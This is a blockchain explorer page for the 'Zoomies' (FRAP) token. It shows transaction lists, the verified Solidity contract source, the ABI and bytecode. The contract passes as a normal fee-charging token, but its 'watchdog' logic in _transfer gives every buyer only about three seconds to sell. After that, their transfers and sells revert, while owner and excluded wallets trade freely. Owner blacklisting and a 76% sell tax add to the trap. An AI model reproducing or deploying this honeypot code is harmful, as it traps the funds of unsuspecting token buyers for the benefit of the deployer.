More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 220 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17068525 | 586 days ago | IN | 0 ETH | 0.00237654 | ||||
Approve | 17000390 | 596 days ago | IN | 0 ETH | 0.00098996 | ||||
Approve | 16979420 | 599 days ago | IN | 0 ETH | 0.00191562 | ||||
Approve | 16902451 | 609 days ago | IN | 0 ETH | 0.00063515 | ||||
Approve | 16892964 | 611 days ago | IN | 0 ETH | 0.00058615 | ||||
Approve | 16880345 | 612 days ago | IN | 0 ETH | 0.00056202 | ||||
Approve | 16877966 | 613 days ago | IN | 0 ETH | 0.00085822 | ||||
Approve | 16876160 | 613 days ago | IN | 0 ETH | 0.00158614 | ||||
Approve | 16873260 | 613 days ago | IN | 0 ETH | 0.00088271 | ||||
Approve | 16872646 | 614 days ago | IN | 0 ETH | 0.00068295 | ||||
Approve | 16871439 | 614 days ago | IN | 0 ETH | 0.00132172 | ||||
Approve | 16871265 | 614 days ago | IN | 0 ETH | 0.00099311 | ||||
Approve | 16871148 | 614 days ago | IN | 0 ETH | 0.00098129 | ||||
Approve | 16871040 | 614 days ago | IN | 0 ETH | 0.00104551 | ||||
Approve | 16870514 | 614 days ago | IN | 0 ETH | 0.00159814 | ||||
Approve | 16870086 | 614 days ago | IN | 0 ETH | 0.00143741 | ||||
Approve | 16869956 | 614 days ago | IN | 0 ETH | 0.00174365 | ||||
Approve | 16868500 | 614 days ago | IN | 0 ETH | 0.00093954 | ||||
Approve | 16866021 | 614 days ago | IN | 0 ETH | 0.0007998 | ||||
Approve | 16865966 | 614 days ago | IN | 0 ETH | 0.00066039 | ||||
Transfer | 16865951 | 614 days ago | IN | 0 ETH | 0.00103528 | ||||
Transfer | 16865949 | 614 days ago | IN | 0 ETH | 0.00107539 | ||||
Transfer | 16865945 | 614 days ago | IN | 0 ETH | 0.00092078 | ||||
Approve | 16865742 | 615 days ago | IN | 0 ETH | 0.0006599 | ||||
Approve | 16865708 | 615 days ago | IN | 0 ETH | 0.00060045 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
16872649 | 614 days ago | 0.00122203 ETH | ||||
16872649 | 614 days ago | 0.00122203 ETH | ||||
16872649 | 614 days ago | 0.00984304 ETH | ||||
16872649 | 614 days ago | 0.00984304 ETH | ||||
16871141 | 614 days ago | 0.00194788 ETH | ||||
16871141 | 614 days ago | 0.00194788 ETH | ||||
16871141 | 614 days ago | 0.01572778 ETH | ||||
16871141 | 614 days ago | 0.01572778 ETH | ||||
16867658 | 614 days ago | 0.00394452 ETH | ||||
16867658 | 614 days ago | 0.00394452 ETH | ||||
16867658 | 614 days ago | 0.03205624 ETH | ||||
16867658 | 614 days ago | 0.03205624 ETH | ||||
16865968 | 614 days ago | 0.00224133 ETH | ||||
16865968 | 614 days ago | 0.00224133 ETH | ||||
16865968 | 614 days ago | 0.0180976 ETH | ||||
16865968 | 614 days ago | 0.0180976 ETH | ||||
16865358 | 615 days ago | 0.00317448 ETH | ||||
16865358 | 615 days ago | 0.00317448 ETH | ||||
16865358 | 615 days ago | 0.02567745 ETH | ||||
16865358 | 615 days ago | 0.02567745 ETH | ||||
16864629 | 615 days ago | 0.00777827 ETH | ||||
16864629 | 615 days ago | 0.00777827 ETH | ||||
16864629 | 615 days ago | 0.06359446 ETH | ||||
16864629 | 615 days ago | 0.06359446 ETH | ||||
16863990 | 615 days ago | 0.0072757 ETH |
Loading...
Loading
Contract Name:
Zoomies
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-19 */ // SPDX-License-Identifier: MIT /* TG: https://t.me/ZoomiesETH WEB: https://zoomieseth.pet Twitter: https://twitter.com/ZoomiesETH Medium: https://medium.com/@ZoomiesETH BOT: https://t.me/zommies_eth_bot */ pragma solidity ^0.8.17; library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract Zoomies is Context, IERC20, Ownable { using Address for address payable; IRouter public router; address public pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; mapping (address => bool) public _isExcludedFromMaxBalance; mapping (address => bool) public _isBlacklisted; mapping (address => uint256) public _dogSellTime; uint256 private _dogSellTimeOffset = 3; bool public watchdogMode = true; uint256 public _caughtDogs; uint8 private constant _decimals = 9; uint256 private _tTotal = 1_000_000 * (10**_decimals); uint256 public swapThreshold = 5_000 * (10**_decimals); uint256 public maxTxAmount = 20_000 * (10**_decimals); uint256 public maxWallet = 20_000 * (10**_decimals); string private constant _name = "ZOOMIES"; string private constant _symbol = "FRAP"; struct Tax{ uint8 marketingTax; uint8 lpTax; } struct TokensFromTax{ uint marketingTokens; uint lpTokens; } TokensFromTax public totalTokensFromTax; Tax public buyTax = Tax(25,1); Tax public sellTax = Tax(75,1); address public marketingWallet = 0xc4a98f57305dbE33c96Be3498d2D3aC0147a8b44; bool private swapping; uint private _swapCooldown = 5; uint private _lastSwap; modifier lockTheSwap { swapping = true; _; swapping = false; } constructor () { _tOwned[_msgSender()] = _tTotal; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; _approve(owner(), address(router), ~uint256(0)); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; _isExcludedFromMaxBalance[owner()] = true; _isExcludedFromMaxBalance[address(this)] = true; _isExcludedFromMaxBalance[pair] = true; _isExcludedFromMaxBalance[marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // ================= ERC20 =============== // function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} // ========================================== // //============== Owner Functions ===========// function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{ _isBlacklisted[account] = isBlacklisted; } function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{ for(uint256 i =0; i < accounts.length; i++){ _isBlacklisted[accounts[i]] = state; } } function owner_setBuyTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 30, "Can't set tax too high"); buyTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setSellTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 80, "Can't set tax too high"); sellTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{ uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals); require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings"); maxTxAmount = maxTX_EXACT * (10**_decimals); maxWallet = maxWallet_EXACT * (10**_decimals); } function owner_rescueETH(uint256 weiAmount) public onlyOwner{ require(address(this).balance >= weiAmount, "Insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function owner_rescueExcessTokens() public{ // Make sure ca doesn't withdraw the pending taxes to be swapped. // Sends excess tokens / accidentally sent tokens back to marketing wallet. uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens; require(balanceOf(address(this)) > pendingTaxTokens); uint excessTokens = balanceOf(address(this)) - pendingTaxTokens; _transfer(address(this), marketingWallet, excessTokens); } function owner_setWatchDogMode(bool status_) external onlyOwner{ watchdogMode = status_; } function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{ _dogSellTime[holder] = block.timestamp + dTime; } // ========================================// function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){ Tax memory tmpTaxes = buyTax; if (isSell){ tmpTaxes = sellTax; } uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100; uint tokensForLP = amount * tmpTaxes.lpTax / 100; if(tokensForMarketing > 0) totalTokensFromTax.marketingTokens += tokensForMarketing; if(tokensForLP > 0) totalTokensFromTax.lpTokens += tokensForLP; uint totalTaxedTokens = tokensForMarketing + tokensForLP; _tOwned[address(this)] += totalTaxedTokens; if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens); return (amount - totalTaxedTokens); } function _transfer(address from,address to,uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount."); require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade"); if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet."); if (balanceOf(address(this)) >= swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner()) swapAndLiquify(); _tOwned[from] -= amount; uint256 transferAmount = amount; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getTaxValues(amount, from, to == pair); if (from == pair){ if(watchdogMode){ _caughtDogs++; _dogSellTime[to] = block.timestamp + _dogSellTimeOffset; } }else{ if (_dogSellTime[from] != 0) require(block.timestamp < _dogSellTime[from]); } } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapAndLiquify() private lockTheSwap{ if(totalTokensFromTax.marketingTokens > 0){ uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens); if(ethSwapped > 0){ payable(marketingWallet).transfer(ethSwapped); totalTokensFromTax.marketingTokens = 0; } } if(totalTokensFromTax.lpTokens > 0){ uint half = totalTokensFromTax.lpTokens / 2; uint otherHalf = totalTokensFromTax.lpTokens - half; uint balAutoLP = swapTokensForETH(half); if (balAutoLP > 0) addLiquidity(otherHalf, balAutoLP); totalTokensFromTax.lpTokens = 0; } emit SwapAndLiquify(); _lastSwap = block.timestamp; } function swapTokensForETH(uint256 tokenAmount) private returns (uint256) { uint256 initialBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); return (address(this).balance - initialBalance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(router), tokenAmount); (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); if (ethAmount - ethFromLiquidity > 0) payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity); } event SwapAndLiquify(); event TaxesChanged(); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueExcessTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"owner_setWatchDogMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260036009908155600a805460ff19166001178155620000249190620006c5565b6200003390620f4240620006dd565b600c55620000446009600a620006c5565b6200005290611388620006dd565b600d55620000636009600a620006c5565b6200007190614e20620006dd565b600e55620000826009600a620006c5565b6200009090614e20620006dd565b600f5560408051808201825260198152600160209182018190526012805461011961ffff19918216179091558351808501909452604b845292909101526013805461014b9216919091179055601480546001600160a01b03191673c4a98f57305dbe33c96be3498d2d3ac0147a8b4417905560056015553480156200011457600080fd5b50620001203362000434565b600c5433600090815260036020908152604080832093909355825163c45a015560e01b81529251737a250d5630b4cf539739df2c5dacb4c659f2488d93849263c45a0155926004808401938290030181865afa15801562000185573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ab9190620006f7565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021f9190620006f7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002939190620006f7565b600180546001600160a01b038581166001600160a01b031992831617909255600280548484169216919091179055600054919250620002e291166001546001600160a01b031660001962000484565b600160056000620002fb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260059093528183208054851660019081179091556014549091168352908220805490931681179092556006906200036b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526006909352818320805485166001908117909155600254821684528284208054861682179055601454909116835291208054909216179055620003dc3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200042491815260200190565b60405180910390a3505062000722565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166200054f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004e3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000607578160001904821115620005eb57620005eb620005b0565b80851615620005f957918102915b93841c9390800290620005cb565b509250929050565b6000826200062057506001620006bf565b816200062f57506000620006bf565b8160018114620006485760028114620006535762000673565b6001915050620006bf565b60ff841115620006675762000667620005b0565b50506001821b620006bf565b5060208310610133831016604e8410600b841016171562000698575081810a620006bf565b620006a48383620005c6565b8060001904821115620006bb57620006bb620005b0565b0290505b92915050565b6000620006d660ff8416836200060f565b9392505050565b8082028115828204841417620006bf57620006bf620005b0565b6000602082840312156200070a57600080fd5b81516001600160a01b0381168114620006d657600080fd5b61212d80620007326000396000f3fe6080604052600436106102295760003560e01c8063768dc71011610123578063cfe9dde0116100ab578063f2fde38b1161006f578063f2fde38b14610706578063f837ae0714610726578063f887ea4014610746578063f8b45b0514610766578063f9d0ee941461077c57600080fd5b8063cfe9dde014610643578063dd62ed3e14610663578063e0a877c8146106a9578063ee9a5d82146106c3578063ef07a182146106f057600080fd5b8063a457c2d7116100f2578063a457c2d7146105a0578063a8aa1b31146105c0578063a9059cbb146105e0578063cb0e6f7b14610600578063cc1776d31461062057600080fd5b8063768dc7101461050f5780638c0b5e221461053f5780638da5cb5b1461055557806395d89b411461057357600080fd5b8063313ce567116101b15780634f7041a5116101755780634f7041a51461042f5780635966c81e1461046c57806370a082311461048c578063715018a6146104c257806375f0a874146104d757600080fd5b8063313ce5671461039e57806339509351146103ba5780633c576a97146103da5780634ba422bc146103ef5780634cf279971461040f57600080fd5b806318160ddd116101f857806318160ddd146102e95780631b0f9381146102fe5780631cdd3be31461031e57806323b872dd1461034e57806328c61f411461036e57600080fd5b80630445b6671461023557806306fdde031461025e578063095ea7b3146102975780630f81e11a146102c757600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024b600d5481565b6040519081526020015b60405180910390f35b34801561026a57600080fd5b506040805180820190915260078152665a4f4f4d49455360c81b60208201525b6040516102559190611b56565b3480156102a357600080fd5b506102b76102b2366004611bc9565b6107ac565b6040519015158152602001610255565b3480156102d357600080fd5b506102e76102e2366004611c05565b6107c3565b005b3480156102f557600080fd5b50600c5461024b565b34801561030a57600080fd5b506102e7610319366004611c38565b610809565b34801561032a57600080fd5b506102b7610339366004611c6b565b60076020526000908152604090205460ff1681565b34801561035a57600080fd5b506102b7610369366004611c88565b6108ee565b34801561037a57600080fd5b506102b7610389366004611c6b565b60066020526000908152604090205460ff1681565b3480156103aa57600080fd5b5060405160098152602001610255565b3480156103c657600080fd5b506102b76103d5366004611bc9565b610940565b3480156103e657600080fd5b506102e7610977565b3480156103fb57600080fd5b506102e761040a366004611cc9565b6109e1565b34801561041b57600080fd5b506102e761042a366004611bc9565b610ac7565b34801561043b57600080fd5b506012546104529060ff8082169161010090041682565b6040805160ff938416815292909116602083015201610255565b34801561047857600080fd5b506102e7610487366004611ceb565b610b1b565b34801561049857600080fd5b5061024b6104a7366004611c6b565b6001600160a01b031660009081526003602052604090205490565b3480156104ce57600080fd5b506102e7610bc2565b3480156104e357600080fd5b506014546104f7906001600160a01b031681565b6040516001600160a01b039091168152602001610255565b34801561051b57600080fd5b506102b761052a366004611c6b565b60056020526000908152604090205460ff1681565b34801561054b57600080fd5b5061024b600e5481565b34801561056157600080fd5b506000546001600160a01b03166104f7565b34801561057f57600080fd5b506040805180820190915260048152630465241560e41b602082015261028a565b3480156105ac57600080fd5b506102b76105bb366004611bc9565b610bf8565b3480156105cc57600080fd5b506002546104f7906001600160a01b031681565b3480156105ec57600080fd5b506102b76105fb366004611bc9565b610c2f565b34801561060c57600080fd5b506102e761061b366004611c38565b610c3c565b34801561062c57600080fd5b506013546104529060ff8082169161010090041682565b34801561064f57600080fd5b506102e761065e366004611d1a565b610d21565b34801561066f57600080fd5b5061024b61067e366004611df1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106b557600080fd5b50600a546102b79060ff1681565b3480156106cf57600080fd5b5061024b6106de366004611c6b565b60086020526000908152604090205481565b3480156106fc57600080fd5b5061024b600b5481565b34801561071257600080fd5b506102e7610721366004611c6b565b610db7565b34801561073257600080fd5b506102e7610741366004611e2a565b610e52565b34801561075257600080fd5b506001546104f7906001600160a01b031681565b34801561077257600080fd5b5061024b600f5481565b34801561078857600080fd5b50601054601154610797919082565b60408051928352602083019190915201610255565b60006107b9338484610ea7565b5060015b92915050565b6000546001600160a01b031633146107f65760405162461bcd60e51b81526004016107ed90611e56565b60405180910390fd5b600a805460ff1916911515919091179055565b6000546001600160a01b031633146108335760405162461bcd60e51b81526004016107ed90611e56565b600061083f8284611ea1565b60ff169050601e81111561088e5760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107ed565b60408051808201825260ff85811680835290851660209092018290526012805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e48090600090a1505050565b60006108fb848484610fcb565b6001600160a01b038416600090815260046020908152604080832033808552925290912054610936918691610931908690611eba565b610ea7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107b9918590610931908690611ecd565b60105460115460009161098991611ecd565b3060009081526003602052604090205490915081106109a757600080fd5b306000908152600360205260408120546109c2908390611eba565b6014549091506109dd9030906001600160a01b031683610fcb565b5050565b6000546001600160a01b03163314610a0b5760405162461bcd60e51b81526004016107ed90611e56565b6000610a196009600a611fc4565b6103e8600c546005610a2b9190611fd3565b610a359190611fea565b610a3f9190611fea565b9050808310158015610a515750808210155b610a905760405162461bcd60e51b815260206004820152601060248201526f496e76616c69642053657474696e677360801b60448201526064016107ed565b610a9c6009600a611fc4565b610aa69084611fd3565b600e55610ab56009600a611fc4565b610abf9083611fd3565b600f55505050565b6000546001600160a01b03163314610af15760405162461bcd60e51b81526004016107ed90611e56565b610afb8142611ecd565b6001600160a01b0390921660009081526008602052604090209190915550565b6000546001600160a01b03163314610b455760405162461bcd60e51b81526004016107ed90611e56565b80471015610b955760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e6365000000000000000060448201526064016107ed565b604051339082156108fc029083906000818181858888f193505050501580156109dd573d6000803e3d6000fd5b6000546001600160a01b03163314610bec5760405162461bcd60e51b81526004016107ed90611e56565b610bf66000611510565b565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916107b9918590610931908690611eba565b60006107b9338484610fcb565b6000546001600160a01b03